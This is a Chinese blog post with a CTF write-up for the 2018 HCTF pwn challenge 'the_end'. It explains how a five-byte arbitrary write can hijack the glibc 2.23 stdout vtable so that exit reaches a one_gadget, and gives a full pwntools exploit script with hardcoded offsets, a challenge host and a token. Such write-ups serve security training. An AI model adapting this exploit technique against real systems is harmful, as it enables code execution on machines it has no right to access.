美文网首页
2018 HCTF the_end

2018 HCTF the_end

作者: fIappy | 来源:发表于2019-01-21 14:03 被阅读0次

1.题目描述
只有任意5字节地址写入可用, 且给了libc基址.除了canary保护全开

2.思路
写入2字节修改vtable指向别的可写可读处.
写入3字节修改某函数为one_gadget
知识点: exit中会调用setbuf,因此将setbuf改为one-gadget.

exp:

from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('the_end')
#p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0x45216
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

#gdb.attach(p)

for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("cat exp.py 1>&0")

p.interactive()

相关文章

  • 2018 HCTF the_end

    伪造vtables 分析题目,利用点很明确在main函数中: 已知: 除了canary保护全开 libc基地址和l...

  • 2018 HCTF the_end

    1.题目描述只有任意5字节地址写入可用, 且给了libc基址.除了canary保护全开 2.思路写入2字节修改vt...

  • HCTF2018-admin

    title: HCTF2018-admindate: 2019-06-02 19:52:03tags:- HCTF...

  • HCTF2018-WEB-admin

    title: HCTF2018-admindate: 2019-06-02 19:52:03tags: HCTF2...

  • 2019-09-15 BUUCTF [HCTF 2018]War

    参见: https://impakho.com/post/hctf-2018-writeuphttps://ctf...

  • BUUOJ刷题

    0x01 WarmUp 出处:HCTF2018 要使emmm::checkFile($_REQUEST['fil...

  • HCTF2018-Hide-and-seek

    title: HCTF2018-Hide_and_seekdate: 2019-06-03 16:11:18tag...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • hctf2018

    打开题目,f12发现 以及hint和link:http://warmup.2018.hctf.io/index.p...

  • [HCTF 2018]WarmUp

    看一下web,感觉还是挺有意思的,这几天要忙着期末考试了,kernel pwn又要鸽一下了,忙完考试就冲内核了!!...

网友评论

      本文标题:2018 HCTF the_end

      本文链接:https://www.haomeiwen.com/subject/hcdcjqtx.html